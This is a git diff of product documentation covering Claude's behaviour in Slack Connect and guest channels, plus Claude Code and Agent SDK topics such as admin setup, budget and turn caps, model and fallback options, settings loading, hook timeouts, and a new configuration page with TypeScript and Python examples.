b/content/claude/claude-tag/concepts/security-and-data.md index dde27ca4b1..aeccba9f14 100644 --- a/content/claude/claude-tag/concepts/security-and-data.md +++ b/content/claude/claude-tag/concepts/security-and-data.md @@ -91,7 +91,7 @@ Confine a credential to one channel in three steps: 2. Keep the channel private. A bundle on a public channel [grants its access to anyone who joins](/docs/claude-tag/admins/attach-to-scope#attach-to-a-channel). 3. Check the channel's **Connectors**, **Repositories**, and **Plugins** sections on the [Slack tab in admin settings](/docs/claude-tag/admins/attach-to-scope). They list the access the channel gets, including rows inherited from the workspace or from Default Slack access, each with an origin line naming where it comes from. -Claude [doesn't operate in externally shared channels](/docs/claude-tag/admins/restrict-access#externally-shared-channels), so a channel shared with another company never has a session to isolate. +In a channel shared with another company through Slack Connect, Claude is off by default. If an Owner turns it on, Claude runs there with [channel-only access](/docs/claude-tag/admins/restrict-access#slack-connect-channels), and a bundle's credentials reach that channel only if an Owner has also turned the bundle on for Slack Connect channels. Isolating a credential doesn't isolate what Claude knows. What it learns in a public channel becomes [workspace memory](/docs/claude-tag/users/memory) that sessions in the workspace's other channels can read, and it can [search public channels by keyword](/docs/claude-tag/admins/restrict-access#controls-that-aren%E2%80%99t-available) without being added to them, the same way any workspace member can. diff --git a/content/claude/claude-tag/users/good-habits.md b/content/claude/claude-tag/users/good-habits.md index e3789917f8..026419b615 100644 --- a/content/claude/claude-tag/users/good-habits.md +++ b/content/claude/claude-tag/users/good-habits.md @@ -142,7 +142,7 @@ Reading a public channel's full history, rather than what search finds, needs Cl A private channel is readable only from inside it. Inviting Claude lets it work in that channel, but Claude can't read the private channel's messages from any other channel or DM. To ask about a private channel, ask in that channel. -Channels in a different workspace and Slack Connect channels stay out of reach. +Channels in a different workspace stay out of reach. In a Slack Connect channel, one shared with another company, Claude answers only if your admin has [turned Claude on there](/docs/claude-tag/admins/restrict-access#slack-connect-channels). When Claude does answer, it works without your organization's memory or workspace instructions, and with only the tools your admin turned on for Slack Connect channels. When more than one surface would work, prefer a channel. Work that happens there compounds, because Claude can draw on it in later threads and teammates can find it, redirect it, or build on it. diff --git a/content/claude/claude-tag/users/troubleshooting.md b/content/claude/claude-tag/users/troubleshooting.md index 51dca850d2..e318dfae4f 100644 --- a/content/claude/claude-tag/users/troubleshooting.md +++ b/content/claude/claude-tag/users/troubleshooting.md @@ -112,11 +112,19 @@ Send a new message with the mention included. **What you see** -Mentions in a channel shared with another company get no answer, and usually no notice. +Mentions in a Slack Connect channel, one shared with another company, get no answer and no notice, or get a notice saying the thread's earlier session can't continue. **What it means** -Claude doesn't operate in Slack Connect channels, the ones shared with another company. This holds regardless of admin settings. Messages there get no reply. See [externally shared channels](/docs/claude-tag/admins/restrict-access#externally-shared-channels). +By default, Claude is off in Slack Connect channels, and it posts no notice there. A Claude organization Owner can [turn Claude on for Slack Connect channels](/docs/claude-tag/admins/restrict-access#slack-connect-channels) by changing the **Allow Claude to work in channels with guests** setting, because Claude treats the other company's people as guests. Claude then replies using only the channel's own instructions and the tools an admin has turned on for Slack Connect channels. + +If **Allow Claude to work in channels with guests** is already **Channel only** or **Allow** and Claude still doesn't answer, one of these three causes is likely: + +* The organization that runs Claude has limited Claude to that organization's own members, and you're from the other company in the channel. +* The scope that covers the channel is set to the **Legacy** Claude Tag version. +* The organization that runs Claude installed it across its whole Slack Enterprise Grid, and a workspace outside that Grid created the channel. + +If the mention gets the notice "This channel is now shared with another organization through Slack Connect, so this thread's earlier session can't continue here," the thread started before the channel was shared. Mention `@Claude` in a new thread. A channel shared across workspaces inside your Enterprise Grid isn't silent; what happens there depends on how those workspaces connect to Claude. When every workspace in the channel belongs to your one Claude organization, Claude answers, but with only your organization's default access and settings, so a repository or an instruction set up for that channel doesn't apply. A notice in the thread points this out from time to time. When the workspaces are connected to different Claude organizations, you see "This channel is shared among several Claude workspaces, so Claude cannot respond here" instead of an answer. diff --git a/content/claude/claude-tag/users/when-claude-responds.md b/content/claude/claude-tag/users/when-claude-responds.md index a3f2a5f21d..7136535a1d 100644 --- a/content/claude/claude-tag/users/when-claude-responds.md +++ b/content/claude/claude-tag/users/when-claude-responds.md @@ -122,7 +122,7 @@ A few cases produce silence even when the message includes a mention: * **Editing a message to add the mention.** An edit doesn't trigger a response. Delete the message and send a new one with `@Claude` included. * **Channels with guest accounts.** By default, Claude is off in channels that include guests; your admin can turn it on per scope. Ask whoever runs your Claude plan, or send them [the guest access setting](/docs/claude-tag/admins/restrict-access#restrict-guest-channels). * **Channels shared across workspaces connected to different Claude organizations.** Every workspace where Claude runs is connected to a Claude organization, the account a company sets up for Claude. When a channel is shared across workspaces connected to different Claude organizations, Claude won't reply there and posts a refusal message instead. You can't tell from Slack how a workspace is connected; the refusal message itself is the signal. Use a channel that belongs to one workspace, or send Claude a DM. -* **Slack Connect channels.** Channels shared with another company are always off. +* **Slack Connect channels.** By default, Claude is off in channels shared with another company. A mention there gets no reply and no message explaining why. Your admin can [turn Claude on for Slack Connect channels](/docs/claude-tag/admins/restrict-access#slack-connect-channels). Claude then replies without your organization's memory or workspace instructions, and with only the tools your admin turned on for Slack Connect channels. When the workspaces sharing a channel all belong to one Claude organization, Claude replies there, but with only your organization's default access and settings. The repositories, instructions, and memory set up for that channel or its workspaces don't apply, and Claude posts a notice in the thread explaining this from time to time. The guest check above still applies first where guest access is restricted. diff --git a/content/en/docs/claude-code/admin-setup.md b/content/en/docs/claude-code/admin-setup.md index 287b38b11c..74de3417d7 100644 --- a/content/en/docs/claude-code/admin-setup.md +++ b/content/en/docs/claude-code/admin-setup.md @@ -34,7 +34,7 @@ Claude Code connects to Claude through one of several API providers. Your choice | Google Cloud's Agent Platform | You want to inherit existing GCP compliance controls and billing | | Microsoft Foundry | You want to inherit existing Azure compliance controls and billing | -Some Claude Code features require a claude.ai account. [Claude Code on the web](/docs/en/claude-code-on-the-web), [Routines](/docs/en/routines), [Code Review](/docs/en/code-review), [Remote Control](/docs/en/remote-control), and the [Chrome extension](/docs/en/chrome) aren't available through Console API keys or cloud-provider credentials alone. If you deploy through Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry, plan whether developers also need Claude for Teams or Enterprise seats. Each feature page lists its plan requirements. +Some Claude Code features require a claude.ai account. [Cloud sessions](/docs/en/claude-code-on-the-web), [Routines](/docs/en/routines), [Code Review](/docs/en/code-review), [Remote Control](/docs/en/remote-control), and the [Chrome extension](/docs/en/chrome) aren't available through Console API keys or cloud-provider credentials alone. If you deploy through Amazon Bedrock, Google Cloud's Agent Platform, or Microsoft Foundry, plan whether developers also need Claude for Teams or Enterprise seats. Each feature page lists its plan requirements. For the full provider comparison covering authentication, regions, and feature parity, see the [enterprise deployment overview](/docs/en/third-party-integrations). Each provider's auth setup is in [Authentication](/docs/en/authentication). @@ -113,7 +113,7 @@ If your members sign in through claude.ai or the Anthropic API and you're on a C None of these controls reach sessions on Amazon Bedrock, Google Cloud's Agent Platform, Microsoft Foundry, or [Claude Platform on AWS](/docs/en/claude-platform-on-aws). On those providers, use managed settings instead: `availableModels` for restrictions, `model` for a default, and [`maxEffortLevel`](/docs/en/settings-reference#maxeffortlevel) for an effort cap. -[Claude Code on the web](/docs/en/claude-code-on-the-web) has its own admin surface: on the Cloud environments page in admin settings, Owners create [organization-shared environments](/docs/en/cloud-environments#organization-shared-environments) that set the [network access level](/docs/en/cloud-environments#network-access), environment variables, and setup script for members' cloud sessions. Owners choose the organization's default environment separately, at [claude.ai/admin-settings/claude-code](https://claude.ai/admin-settings/claude-code). +[Cloud sessions](/docs/en/claude-code-on-the-web) have their own admin surface: on the Cloud environments page in admin settings, Owners create [organization-shared environments](/docs/en/cloud-environments#organization-shared-environments) that set the [network access level](/docs/en/cloud-environments#network-access), environment variables, and setup script for members' cloud sessions. Owners choose the organization's default environment separately, at [claude.ai/admin-settings/claude-code](https://claude.ai/admin-settings/claude-code). Permission rules and sandboxing cover different layers. Denying WebFetch blocks Claude's fetch tool, but if Bash is allowed, `curl` and `wget` can still reach any URL. Sandboxing closes that gap with a network domain allowlist enforced at the OS level. diff --git a/content/en/docs/claude-code/agent-sdk/agent-loop.md b/content/en/docs/claude-code/agent-sdk/agent-loop.md index 898af15387..68b0aea843 100644 --- a/content/en/docs/claude-code/agent-sdk/agent-loop.md +++ b/content/en/docs/claude-code/agent-sdk/agent-loop.md @@ -202,7 +202,7 @@ When either limit is hit, the SDK returns a `ResultMessage` with a corresponding The budget cap covers [subagents](/docs/en/agent-sdk/subagents): their spend counts toward the total. Once spend reaches the cap, spawning another subagent fails with `Budget limit reached`, and Claude Code stops any background subagents still running. The cap-enforcement behaviors require Claude Code v2.1.217 or later. -With [streaming input](/docs/en/agent-sdk/streaming-vs-single-mode), a message that is still queued when a turn ends at the max-turns limit stays queued. Claude Code doesn't add it to that turn's last model call. It starts a new turn for the message, and the max-turns count starts over for that turn. +With [streaming input](/docs/en/agent-sdk/streaming-vs-single-mode), a message that is still queued when a turn ends at the max-turns limit stays queued. Claude Code doesn't add it to that turn's last model call. It starts a new turn for the message, and the max-turns count starts over for that turn. The budget total keeps accumulating across messages, and once spend reaches `maxBudgetUsd`, later messages in the same conversation end with the `error_max_budget_usd` result. A [`/clear`](/docs/en/agent-sdk/cost-tracking) starts the budget over. ### Effort level @@ -241,7 +241,7 @@ For interactive applications, use `"default"` with a tool approval callback to s ### Model -If you don't set `model`, the SDK uses Claude Code's default, which depends on your authentication method and subscription. Set it explicitly (for example, `model="claude-sonnet-5"`) to pin a specific model or to use a smaller model for faster, cheaper agents. See [models](https://platform.claude.com/docs/en/about-claude/models) for available IDs. +Set the `model` option to choose which model runs the session. For more information, see [Choose a model](/docs/en/agent-sdk/configuration#choose-a-model). ## The context window @@ -324,7 +324,7 @@ When the loop ends, the `ResultMessage` tells you what happened and gives you th The `result` field holds the final text output and is only present on the `success` variant, so always check the subtype before reading it. -All result subtypes carry `total_cost_usd`, `usage`, `num_turns`, and `session_id` so you can track cost and resume even after errors. Two things to guard for: +All result subtypes carry `total_cost_usd`, `usage`, `num_turns`, and `session_id` so you can track cost and resume even after errors. Guard for these cases: * After a session crash, the final result is an `error_during_execution` whose cost fields may be zeroed and whose `stop_reason` is `null`, and the process exits after emitting it. See [Recover totals after a session crash](/docs/en/agent-sdk/cost-tracking#recover-totals-after-a-session-crash). * In Python, `total_cost_usd`, `usage`, and `model_usage` are typed as optional, so check that they aren't `None` before you read them. diff --git a/content/en/docs/claude-code/agent-sdk/claude-code-features.md b/content/en/docs/claude-code/agent-sdk/claude-code-features.md index 5d02757d5c..ecd906a465 100644 --- a/content/en/docs/claude-code/agent-sdk/claude-code-features.md +++ b/content/en/docs/claude-code/agent-sdk/claude-code-features.md @@ -8,7 +8,7 @@ The Agent SDK is built on the same foundation as Claude Code, which means your SDK agents have access to the same filesystem-based features: project instructions (`CLAUDE.md` and rules), skills, hooks, and more. -When you omit `settingSources`, `query()` reads the same filesystem settings as the Claude Code CLI: user, project, and local settings, CLAUDE.md files, and `.claude/` skills, agents, and commands. To run without these, pass `settingSources: []`, which limits the agent to what you configure programmatically. Managed policy settings and the global `~/.claude.json` config are read regardless of this option. See [What settingSources does not control](#what-settingsources-does-not-control). +When you omit `settingSources`, `query()` reads the same filesystem settings as the Claude Code CLI: user, project, and local settings, CLAUDE.md files, and `.claude/` skills, agents, and commands. To run without these, pass `settingSources: []`, which limits the agent to what you configure programmatically. Managed policy settings and the global `~/.claude.json` config are read regardless of this option. For more information, see [What settingSources does not control](#what-settingsources-does-not-control). ## Control filesystem settings with settingSources @@ -101,7 +101,7 @@ The `cwd` option determines where the SDK looks for project-level inputs. Projec ## Project instructions (CLAUDE.md and rules) -`CLAUDE.md` files and `.claude/rules/*.md` files give your agent persistent context about your project: coding conventions, build commands, architecture decisions, and instructions. When `settingSources` includes `"project"` (as in the example above), the SDK loads these files into context at session start. The agent then follows your project conventions without you repeating them in every prompt. +`CLAUDE.md` files and `.claude/rules/*.md` files give your agent persistent context about your project: coding conventions, build commands, architecture decisions, and instructions. When `settingSources` includes `"project"`, as in the [`settingSources` example](#control-filesystem-settings-with-settingsources), the SDK loads these files into context at session start. The agent then follows your project conventions without you repeating them in every prompt. ### CLAUDE.md load locations diff --git a/content/en/docs/claude-code/agent-sdk/configuration.md b/content/en/docs/claude-code/agent-sdk/configuration.md new file mode 100644 index 0000000000..d5efe2da7e --- /dev/null +++ b/content/en/docs/claude-code/agent-sdk/configuration.md @@ -0,0 +1,297 @@ +> ## Documentation Index +> Fetch the complete documentation index at: https://code.claude.com/docs/llms.txt +> Use this file to discover all available pages before exploring further. + +# Configure your agent + +> Configure Agent SDK sessions: compose the options object, set the model, environment, and limits, and find each feature option's page. + +An Agent SDK session reads configuration from settings files, environment variables, and the `options` object you pass when you start it. This page shows how to compose the `options` object and what settings files and environment variables control. + +For every option's type and default, see the [`Options`](/docs/en/agent-sdk/typescript#options) (TypeScript) and [`ClaudeAgentOptions`](/docs/en/agent-sdk/python#claudeagentoptions) (Python) references. + +## Pass options to a session + +Every `query()` call accepts an options object: `Options` in TypeScript, `ClaudeAgentOptions` in Python. Each field is optional, and a session started with no options runs with the SDK's defaults. The example below configures a read-only session that summarizes a project's open TODOs. Pairs read as TypeScript / Python where the spellings differ: + +* **`model`**: picks the model +* **`allowedTools` / `allowed_tools`**: pre-approves a read-only tool list +* **`maxTurns` / `max_turns`**: caps the turn count +* **`cwd`**: sets the working directory + + + ```typescript TypeScript theme={null} + import { query } from "@anthropic-ai/claude-agent-sdk"; + + for await (const message of query({ + prompt: "Summarize the open TODOs in this repo", + options: { + model: "claude-sonnet-5", + allowedTools: ["Read", "Glob", "Grep"], + maxTurns: 8, + cwd: "/path/to/repo", + }, + })) { + if (message.type === "result" && message.subtype === "success" && !message.is_error) { + console.log(message.result); + } + } + ``` + + ```python Python theme={null} + import asyncio + + from claude_agent_sdk import ClaudeAgentOptions, ResultMessage, query + + async def main(): + options = ClaudeAgentOptions( + model="claude-sonnet-5", + allowed_tools=["Read", "Glob", "Grep"], + max_turns=8, + cwd="/path/to/repo", + ) + + async for message in query( + prompt="Summarize the open TODOs in this repo", + options=options, + ): + if isinstance(message, ResultMessage) and not message.is_error: + print(message.result) + + asyncio.run(main()) + ``` + + +Point `cwd` at one of your own projects and run the example. The summary of that project's open TODOs prints when the result message arrives. + +`allowedTools` (TypeScript) or `allowed_tools` (Python) pre-approves the listed tools, so calls to them run without stopping for approval. Tools outside the list stay available. When Claude calls an unlisted tool, the permission mode decides whether the call runs. For more information, see [Allow and deny rules](/docs/en/agent-sdk/permissions#allow-and-deny-rules). + +## Load settings files + +Settings files supply configuration beyond the options object. Two options control how they load: + +* **`settingSources` / `setting_sources`**: controls which filesystem sources load: user, project, and local. Settings files and CLAUDE.md files arrive through these sources. +* **`settings`**: loads a settings file path or an inline JSON string in either language, and TypeScript also accepts a settings object. Whichever form you pass overrides user, project, and local filesystem settings; only managed policy settings rank higher. The references document the full precedence order under [Settings precedence](/docs/en/agent-sdk/typescript#settings-precedence) for TypeScript and [Settings precedence](/docs/en/agent-sdk/python#settings-precedence) for Python. + +Pass `[]` to disable user, project, and local settings. For more information, see [Use Claude Code features in the SDK](/docs/en/agent-sdk/claude-code-features). + +## Choose a model + +Unless the `model` option, your settings, or your environment selects a model, a new session starts on [Claude Code's default model](/docs/en/model-config#default-model-setting). For the order of those sources, see [Setting your model](/docs/en/model-config#setting-your-model). Set `model` to pin a specific model, or to pick a smaller one for faster, cheaper agents. The value takes a model alias or a full model name; aliases and the versions they resolve to are listed under [Model aliases](/docs/en/model-config#model-aliases). + +Set `fallbackModel` (TypeScript) or `fallback_model` (Python) to name a backup model. When the primary is overloaded or unavailable, the session switches to the backup. The primary is retried at the start of each user turn, so the session returns to it once the outage passes. + +In either language, the option accepts a single model or a comma-separated list of backups. For the order and the chain cap, see [Fallback model chains](/docs/en/model-config#fallback-model-chains). In TypeScript, a fallback equal to `model` throws an error at startup. + +The examples below show a fallback list in TypeScript and a single fallback in Python: + + + ```typescript TypeScript theme={null} + const options = { + model: "claude-fable-5", + fallbackModel: "claude-opus-5,claude-sonnet-5", + }; + ``` + + ```python Python theme={null} + options = ClaudeAgentOptions( + model="claude-fable-5", + fallback_model="claude-opus-5", + ) + ``` + + + + + + The [Messages API](https://platform.claude.com/docs/en/api/messages) request parameters `temperature`, `top_p`, and `max_tokens` have no fields on the options object in either language. Set the [effort level](/docs/en/agent-sdk/agent-loop#effort-level) or a [spend cap](#limit-turns-and-spend) instead, or call the Messages API when you need those parameters directly. + + +## Set environment variables + +The `env` option sets environment variables for the Claude Code process that runs your session. Whether your values replace the inherited environment or merge over it differs by language: + +* **TypeScript**: `env` replaces the subprocess environment +* **Python**: the SDK merges your values over the inherited environment, and your values override the inherited ones + +In TypeScript, spread `process.env` into `env` to keep inherited variables such as `PATH`, `HOME`, and `ANTHROPIC_API_KEY`. When you leave `env` unset, the subprocess inherits your environment in both languages. + +The example routes API traffic through a gateway by setting `ANTHROPIC_BASE_URL`. + + + ```typescript TypeScript theme={null} + const options = { + env: { ...process.env, ANTHROPIC_BASE_URL: "https://gateway.example.com" }, + }; + ``` + + ```python Python theme={null} + options = ClaudeAgentOptions( + env={"ANTHROPIC_BASE_URL": "https://gateway.example.com"}, + ) + ``` + + +The variables you pass can also configure Claude Code itself. For the variables the Claude Code process reads, see [Environment variables](/docs/en/env-vars). To tune API timeouts and stall detection this way, follow the Handle slow or stalled API responses section in the [TypeScript reference](/docs/en/agent-sdk/typescript#handle-slow-or-stalled-api-responses) or the [Python reference](/docs/en/agent-sdk/python#handle-slow-or-stalled-api-responses). + +## Set the working directory + +Set `cwd` to run the session in a specific directory. When you leave `cwd` unset, the session runs in your process's working directory. Neither SDK has a setter for `cwd`. To run in a different directory, start another session with that `cwd`. + +Claude Code reads the working directory to determine: + +* **Project settings and hooks**: which project's [settings and hooks load](/docs/en/agent-sdk/claude-code-features) +* **Skills**: where [session skills are discovered](/docs/en/agent-sdk/skills) +* **Session storage**: which project a [stored session belongs to](/docs/en/agent-sdk/session-storage) + +To let tools reach files outside the working directory, add paths with `additionalDirectories` (TypeScript) or `add_dirs` (Python). For the scope of that grant, see [Additional directories grant file access, not configuration](/docs/en/permissions#additional-directories-grant-file-access-not-configuration). + +## Limit turns and spend + +Cap turns and spend with `maxTurns` / `max_turns` and `maxBudgetUsd` / `max_budget_usd`. Both caps are off when unset. When a session hits a cap, the run ends with a result message whose subtype names the cap, `error_max_turns` or `error_max_budget_usd`. What happens next differs by input mode: + +* **Single-shot `query()`**: the SDK yields the cap result and then raises, so wrap the loop in a try block to continue past the error +* **Streaming input**: the session stays alive past a cap result, and the max-turns count starts over for each queued message. The budget total accumulates across messages, and once spend reaches the cap, later messages in the same conversation end with the same budget result. A [`/clear`](/docs/en/agent-sdk/cost-tracking) starts the budget over + +The two caps treat `0` differently: + +* **`maxTurns` / `max_turns`**: `0` runs the session without a turn limit, the same as leaving the option unset +* **`maxBudgetUsd` / `max_budget_usd`**: the CLI rejects `0` as an invalid amount at startup, and the session never runs + +For more information about both caps, including subagent spend, see [Turns and budget](/docs/en/agent-sdk/agent-loop#turns-and-budget). + +## Change configuration mid-session + +When you start a session with [streaming input](/docs/en/agent-sdk/streaming-vs-single-mode), you can switch its model and permission mode while it runs. Where you call the setters differs by language: + +* **TypeScript**: methods on the object `query()` returns +* **Python**: methods on [`ClaudeSDKClient`](/docs/en/agent-sdk/python#claudesdkclient), since `query()` returns a plain iterator without control methods + +Both languages have the same setters: + +* **`setModel()` / `set_model()`**: switches the model. Call it with no model to switch to [Claude Code's default model](/docs/en/model-config#default-model-setting) rather than the `model` you passed in options. +* **`setPermissionMode()` / `set_permission_mode()`**: switches the permission mode + +TypeScript also has `applyFlagSettings()` and `updateSettings()`: + +* **`applyFlagSettings()`**: applies settings at runtime, as in `await session.applyFlagSettings({ effortLevel: "high" })`. The method takes settings file keys rather than options fields, so check the [`applyFlagSettings()` reference](/docs/en/agent-sdk/typescript#applyflagsettings) for the schema and for which keys take effect mid-session. +* **`updateSettings()`**: writes an allowlisted set of keys to the project's local settings file, as in `await session.updateSettings("localSettings", { outputStyle: "Explanatory" })`. The written keys take effect on the session's next request and persist for later sessions that load `local` settings. The method's row in the [methods table](/docs/en/agent-sdk/typescript#methods) names the allowlisted keys and the version floor. + +The example below runs a two-turn session, changes the configuration between the turns, and prints the model that answered each turn. In TypeScript, the prompt stream holds the second message until the setters have run, and the second turn runs on the new model. + + + ```typescript TypeScript theme={null} + import { query, type SDKUserMessage } from "@anthropic-ai/claude-agent-sdk"; + + function userMessage(text: string): SDKUserMessage { + return { type: "user", message: { role: "user", content: text }, parent_tool_use_id: null }; + } + + // Hold the second prompt until the setters have run. + let startSecondTurn!: () => void; + const secondTurnReady = new Promise((resolve) => { + startSecondTurn = resolve; + }); + + async function* turnPrompts(): AsyncGenerator { + yield userMessage("Reply with exactly: ready"); + await secondTurnReady; + yield userMessage("Reply with exactly: done"); + } + + const session = query({ + prompt: turnPrompts(), + options: { + model: "claude-sonnet-5", + }, + }); + + let turnModel = ""; + let completedTurns = 0; + + for await (const message of session) { + if (message.type === "assistant") { + turnModel = message.message.model; + } else if (message.type === "result") { + completedTurns += 1; + if (completedTurns === 1) { + console.log(`First turn model: ${turnModel}`); + await session.setModel("claude-opus-5"); + await session.setPermissionMode("acceptEdits"); + startSecondTurn(); + } else { + console.log(`Second turn model: ${turnModel}`); + break; + } + } + } + ``` + + ```python Python theme={null} + import asyncio + + from claude_agent_sdk import AssistantMessage, ClaudeAgentOptions, ClaudeSDKClient + + async def main(): + options = ClaudeAgentOptions(model="claude-sonnet-5") + + async with ClaudeSDKClient(options=options) as client: + await client.query("Reply with exactly: ready") + first_model = "" + async for message in client.receive_response(): + if isinstance(message, AssistantMessage): + first_model = message.model + + await client.set_model("claude-opus-5") + await client.set_permission_mode("acceptEdits") + + await client.query("Reply with exactly: done") + second_model = "" + async for message in client.receive_response(): + if isinstance(message, AssistantMessage): + second_model = message.model + + print(f"First turn model: {first_model}") + print(f"Second turn model: {second_model}") + + asyncio.run(main()) + ``` + + +On the Claude API, the program prints `First turn model: claude-sonnet-5`, then `Second turn model: claude-opus-5` after the switch. + + + Each model has its own prompt cache, so after a mid-session switch the next request recomputes the full conversation uncached at the new model's rates. For more information, see [Switching models](/docs/en/prompt-caching#switching-models). + + +## Configure specific features + +The table below maps each option to the feature it configures. For options this page doesn't cover, see the [TypeScript](/docs/en/agent-sdk/typescript#options) and [Python](/docs/en/agent-sdk/python#claudeagentoptions) references. If you know your goal but not which option serves it, start from [Choose the right feature](/docs/en/agent-sdk/claude-code-features#choose-the-right-feature). + +| TypeScript | Python | Controls | Covered in | +| ------------------------- | --------------------------- | ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `permissionMode` | `permission_mode` | What the agent can do without approval | [Configure permissions](/docs/en/agent-sdk/permissions) | +| `allowedTools` | `allowed_tools` | Which tool calls are pre-approved | [Configure permissions](/docs/en/agent-sdk/permissions) | +| `canUseTool` | `can_use_tool` | Your approval callback for tool calls | [Handle tool approval requests](/docs/en/agent-sdk/user-input#handle-tool-approval-requests) | +| `systemPrompt` | `system_prompt` | The agent's instructions | [Modifying system prompts](/docs/en/agent-sdk/modifying-system-prompts) | +| `settingSources` | `setting_sources` | Which filesystem settings load | [Use Claude Code features in the SDK](/docs/en/agent-sdk/claude-code-features) | +| `mcpServers` | `mcp_servers` | External tool servers | [Connect to external tools with MCP](/docs/en/agent-sdk/mcp) | +| `agents` | `agents` | Subagent definitions | [Subagents](/docs/en/agent-sdk/subagents) | +| `hooks` | `hooks` | Callbacks at lifecycle points | [Hooks](/docs/en/agent-sdk/hooks) | +| `skills` | `skills` | Which skills load | [Extend agents with skills](/docs/en/agent-sdk/skills) | +| `plugins` | `plugins` | Which plugins load | [Plugins](/docs/en/agent-sdk/plugins) | +| `outputFormat` | `output_format` | Structured output schemas | [Structured outputs](/docs/en/agent-sdk/structured-outputs) | +| `resume` | `resume` | Continuing a stored session | [Sessions](/docs/en/agent-sdk/sessions) | +| `forkSession` | `fork_session` | Branching a session | [Sessions](/docs/en/agent-sdk/sessions) | +| `sessionStore` | `session_store` | External session persistence | [Session storage](/docs/en/agent-sdk/session-storage) | +| `enableFileCheckpointing` | `enable_file_checkpointing` | Rewindable file edits | [File checkpointing](/docs/en/agent-sdk/file-checkpointing) | +| `effort` | `effort` | How much work Claude puts into responses | [Effort level](/docs/en/agent-sdk/agent-loop#effort-level) | +| `sandbox` | `sandbox` | Sandbox behavior for tool execution | [TypeScript](/docs/en/agent-sdk/typescript#sandbox-configuration) and [Python](/docs/en/agent-sdk/python#sandbox-configuration) references, with deployment context in [Secure deployment](/docs/en/agent-sdk/secure-deployment) | + +## Next steps + +To see configuration composed into working agents: + +* **[Quickstart](/docs/en/agent-sdk/quickstart)**: build and run a first agent end to end +* **[Examples](/docs/en/agent-sdk/examples)**: find a complete, runnable project or a guided Claude Cookbook recipe that matches what you want to build +* **[Multi-tenant isolation](/docs/en/agent-sdk/hosting#multi-tenant-isolation)**: isolate each tenant's settings and memory with `settingSources` / `setting_sources`, `env`, and `cwd` diff --git a/content/en/docs/claude-code/agent-sdk/cost-tracking.md b/content/en/docs/claude-code/agent-sdk/cost-tracking.md index c0cae69199..1dcff6284b 100644 --- a/content/en/docs/claude-code/agent-sdk/cost-tracking.md +++ b/content/en/docs/claude-code/agent-sdk/cost-tracking.md @@ -74,7 +74,7 @@ To total the whole call, add the last result from before each `/clear` to the ca In TypeScript, the SDK also emits an [`SDKConversationResetMessage`](/docs/en/agent-sdk/typescript#sdkconversationresetmessage) at each reset, so you can detect resets from the stream. In Python, the SDK likewise emits a `ConversationResetMessage`. Before Python SDK v0.2.137, the Python iterator dropped that message, so on those versions count the resets yourself from the `/clear` turns your app sends. -`maxBudgetUsd`, or `max_budget_usd` in Python, is compared against the same running total, so a `/clear` also starts the budget over. +`maxBudgetUsd` (TypeScript) or `max_budget_usd` (Python) is compared against the same running total, so a `/clear` also starts the budget over. ## Get the total cost of a query diff --git a/content/en/docs/claude-code/agent-sdk/custom-tools.md b/content/en/docs/claude-code/agent-sdk/custom-tools.md index dbcf5e5cc7..51a7750e9a 100644 --- a/content/en/docs/claude-code/agent-sdk/custom-tools.md +++ b/content/en/docs/claude-code/agent-sdk/custom-tools.md @@ -130,7 +130,7 @@ See the [`tool()`](/docs/en/agent-sdk/typescript#tool) TypeScript reference or t Pass the MCP server you created to `query` via the `mcpServers` option. The key in `mcpServers` becomes the `{server_name}` segment in each tool's fully qualified name: `mcp__{server_name}__{tool_name}`. List that name in `allowedTools` so the tool runs without a permission prompt. -These snippets reuse the `weatherServer` from the [example above](#weather-tool-example) to ask Claude what the weather is in a specific location. +These snippets reuse the `weatherServer` from the [weather tool example](#weather-tool-example) to ask Claude what the weather is in a specific location. ```python Python theme={null} diff --git a/content/en/docs/claude-code/agent-sdk/file-checkpointing.md b/content/en/docs/claude-code/agent-sdk/file-checkpointing.md index 67d8a83b92..48f6ca9d24 100644 --- a/content/en/docs/claude-code/agent-sdk/file-checkpointing.md +++ b/content/en/docs/claude-code/agent-sdk/file-checkpointing.md @@ -175,7 +175,7 @@ The following example shows the complete flow: enable checkpointing, capture the - With the `replay-user-messages` option set (shown above), each user message in the response stream has a UUID that serves as a checkpoint. + With the `replay-user-messages` option set, each user message in the response stream has a UUID that serves as a checkpoint. For most use cases, capture the first user message UUID (`message.uuid`); rewinding to it restores the tracked files to their original state. To store multiple checkpoints and rewind to intermediate states, see [Multiple restore points](#multiple-restore-points). diff --git a/content/en/docs/claude-code/agent-sdk/hooks.md b/content/en/docs/claude-code/agent-sdk/hooks.md index 23bc9ec590..e47dd96bbb 100644 --- a/content/en/docs/claude-code/agent-sdk/hooks.md +++ b/content/en/docs/claude-code/agent-sdk/hooks.md @@ -784,15 +784,18 @@ const myHook: HookCallback = async (input, toolUseID, { signal }) => { Claude Code runs each callback with a timeout, which you set in seconds with the `timeout` field on its `HookMatcher`. When you don't set one, Claude Code uses the event's default: 600 seconds for most events, 30 seconds for `UserPromptSubmit`, `PreModelSwitch`, and `PostModelSwitch`, and 10 seconds for `MessageDisplay`. Claude Code runs `SessionEnd` callbacks during shutdown under the shorter [SessionEnd timeout budget](/docs/en/hooks#sessionend-input), 1.5 seconds by default. -When a callback exceeds its timeout, Claude Code cancels it and treats it as a failed hook: it discards the callback's output and the session continues rather than hanging. What happens next depends on the event: +When a callback exceeds its timeout, Claude Code cancels it and discards its output, and the session continues rather than hanging. What happens next depends on the event: * `PreToolUse`: Claude Code doesn't run the tool call, Claude receives a tool result stating the hook didn't respond before its timeout, and the turn continues. If another `PreToolUse` hook returned an explicit deny, Claude receives that denial instead of the timeout error. Before v2.1.210, Claude Code reported the timeout to Claude as a user rejection, which made unattended sessions stop and wait for input. * `PostToolUse` and `PostToolUseFailure`: Claude Code keeps the tool result and the turn continues. * `UserPromptSubmit` and [`UserPromptExpansion`](/docs/en/hooks#userpromptexpansion): Claude Code blocks the prompt with a message naming the hook and the timeout, and the session continues. Because a callback on these events can act as a policy gate, Claude Code never lets a timed-out prompt through unscreened. Before v2.1.208, Claude Code ended the query with `error_during_execution` when a callback on these events timed out. -* `Stop` and `SubagentStop`: Claude Code shows a warning and the agent stops normally. +* `Stop` and `SubagentStop`: the timed-out callback counts as returning no decision. The agent or subagent stops as if that callback had allowed it, and a decision from your other hooks on the event still applies. Before Claude Code v2.1.273, a timed-out `Stop` or `SubagentStop` callback counted as a failed hook run, and Claude Code discarded the decisions of your other hooks on the event. +* `SessionStart`: the timed-out callback counts as returning no output, and the session continues with the output of your other `SessionStart` hooks. * `PreModelSwitch`: Claude Code blocks the model switch. 